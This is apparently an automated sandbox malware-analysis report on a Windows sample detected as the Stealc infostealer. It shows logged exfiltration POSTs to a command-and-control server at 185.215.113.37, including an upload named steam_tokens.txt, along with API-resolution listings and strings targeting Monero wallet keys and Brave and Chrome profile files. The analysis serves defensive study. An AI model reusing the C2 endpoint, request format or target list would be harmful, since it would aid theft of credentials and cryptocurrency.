52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="file"------AAKKECFBGIIIEBGDGDAK--
Oct 25, 2024 13:50:27.711256981 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 13:50:27.735042095 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKE Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 2d 2d 0d 0a Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="message"ybncbhylepme------GCAFCAFHJJDBFIECFBKE--
Oct 25, 2024 13:50:28.022491932 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:27 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5793 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Oct 25, 2024 13:50:28.099184036 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBF Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 2d 2d 0d 0a Data Ascii: ------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIECFBAAAFHIIDGCGCBF--
Oct 25, 2024 13:50:28.940737963 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	1
Start time:	07:50:01
Start date:	25/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe20000
File size:	1'832'960 bytes
MD5 hash:	EDC30DFFB34DC9331C81136D7D089FAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2412996854.00000000017EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.2139807080.0000000005360000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	38

Executed Functions

Function 00E39860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,018025A8), ref: 00E398A1
GetProcAddress.KERNEL32(76210000,018025D8), ref: 00E398BA
GetProcAddress.KERNEL32(76210000,018024E8), ref: 00E398D2
GetProcAddress.KERNEL32(76210000,018025F0), ref: 00E398EA
GetProcAddress.KERNEL32(76210000,01802530), ref: 00E39903
GetProcAddress.KERNEL32(76210000,01809A38), ref: 00E3991B
GetProcAddress.KERNEL32(76210000,017F53D0), ref: 00E39933
GetProcAddress.KERNEL32(76210000,017F5690), ref: 00E3994C
GetProcAddress.KERNEL32(76210000,018024D0), ref: 00E39964
GetProcAddress.KERNEL32(76210000,018026B0), ref: 00E3997C
GetProcAddress.KERNEL32(76210000,01802488), ref: 00E39995
GetProcAddress.KERNEL32(76210000,01802500), ref: 00E399AD
GetProcAddress.KERNEL32(76210000,017F55D0), ref: 00E399C5
GetProcAddress.KERNEL32(76210000,01802638), ref: 00E399DE
GetProcAddress.KERNEL32(76210000,01802740), ref: 00E399F6
GetProcAddress.KERNEL32(76210000,017F55F0), ref: 00E39A0E
GetProcAddress.KERNEL32(76210000,01802518), ref: 00E39A27
GetProcAddress.KERNEL32(76210000,01802650), ref: 00E39A3F
GetProcAddress.KERNEL32(76210000,017F56D0), ref: 00E39A57
GetProcAddress.KERNEL32(76210000,01802548), ref: 00E39A70
GetProcAddress.KERNEL32(76210000,017F5350), ref: 00E39A88
LoadLibraryA.KERNEL32(01802608,?,00E36A00), ref: 00E39A9A
LoadLibraryA.KERNEL32(01802620,?,00E36A00), ref: 00E39AAB
LoadLibraryA.KERNEL32(01802698,?,00E36A00), ref: 00E39ABD
LoadLibraryA.KERNEL32(018026F8,?,00E36A00), ref: 00E39ACF
LoadLibraryA.KERNEL32(01802710,?,00E36A00), ref: 00E39AE0
GetProcAddress.KERNEL32(75B30000,01802728), ref: 00E39B02
GetProcAddress.KERNEL32(751E0000,01802458), ref: 00E39B23
GetProcAddress.KERNEL32(751E0000,018024A0), ref: 00E39B3B
GetProcAddress.KERNEL32(76910000,01809D58), ref: 00E39B5D
GetProcAddress.KERNEL32(75670000,017F56B0), ref: 00E39B7E
GetProcAddress.KERNEL32(77310000,01809B78), ref: 00E39B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00E39BB6

Strings

NtQueryInformationProcess, xrefs: 00E39BAA

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 08aba0c24e2943640e3bde59689abb4111927eeffda9dafe02020c65a2186d42
Instruction ID: 1d62f0f5e5f30f5b57d40a28fe413a54611e14f1bb7f97debcba1166b68a1261
Opcode Fuzzy Hash: 08aba0c24e2943640e3bde59689abb4111927eeffda9dafe02020c65a2186d42
Instruction Fuzzy Hash: 58A11DB5700240DFD364FFA8EA88A563BF9F78C301714455AE686A326CD77FA841DB60

Function 00E245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00E2460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00E2479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E246C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E2477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E2473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E246B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E2474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E245DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E2471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E245C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E2475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E245E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E245F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E2466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E246D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E246AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E246CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E2462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E24683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E245D2

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: b7f5361f33636728d629ca56d68104c57f72b58511d260c2f0c77a79bf5340ff
Instruction ID: d065818cee04bd1898d10001b6a4852f697662c044620a6918fba8e8f85a7f8e
Opcode Fuzzy Hash: b7f5361f33636728d629ca56d68104c57f72b58511d260c2f0c77a79bf5340ff
Instruction Fuzzy Hash: 4041E2717C2724EF8624FFA9B89DEDD7652DFC6704B50744BEE0AA2287CAA05500C712

Function 00E2BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

FindFirstFileA.KERNEL32(00000000,?,00E40B32,00E40B2B,00000000,?,?,?,00E413F4,00E40B2A), ref: 00E2BEF5
StrCmpCA.SHLWAPI(?,00E413F8), ref: 00E2BF4D
StrCmpCA.SHLWAPI(?,00E413FC), ref: 00E2BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 00E2C7BF
FindClose.KERNEL32(000000FF), ref: 00E2C7D1

Strings

\Brave\Preferences, xrefs: 00E2C1DB
Google Chrome, xrefs: 00E2C634
Preferences, xrefs: 00E2C11E
Brave, xrefs: 00E2C102

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
